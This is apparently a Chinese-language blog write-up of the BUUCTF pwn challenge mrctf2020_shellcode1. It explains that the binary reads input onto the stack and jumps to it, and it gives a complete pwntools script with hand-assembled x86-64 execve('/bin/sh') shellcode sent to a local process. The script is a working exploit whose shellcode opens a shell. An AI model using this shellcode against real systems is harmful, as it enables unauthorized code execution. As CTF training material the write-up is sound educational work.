BUUCTF--mrctf2020_shellcode1

这是一题64位的shellocde题,没啥花招入门题。看下保护:

BUUCTF--mrctf2020_shellcode1_第1张图片


有可执行的段。接着我们看看IDA:

BUUCTF--mrctf2020_shellcode1_第2张图片


主函数中无法反汇编,那么我们直接看汇编代码。其实很简单,通过系统调用执行puts函数,然后执行read函数。


正在我想如何覆盖返回地址的时候,发现题目直接帮你搞好了。取buf的的地址(栈上)然后跳转到buf位置执行代码。那么我们直接通过read函数构造shellcode就完成了:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io=process('./mrctf2020_shellcode')

shellcode = '''
    mov rbx,0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b
    pop rax
    syscall
'''


shellcode=asm(shellcode)

io.recvuntil("magic!")

io.sendline(shellcode)

io.interactive()

你可能感兴趣的:(pwn,CTF,c++,开发语言)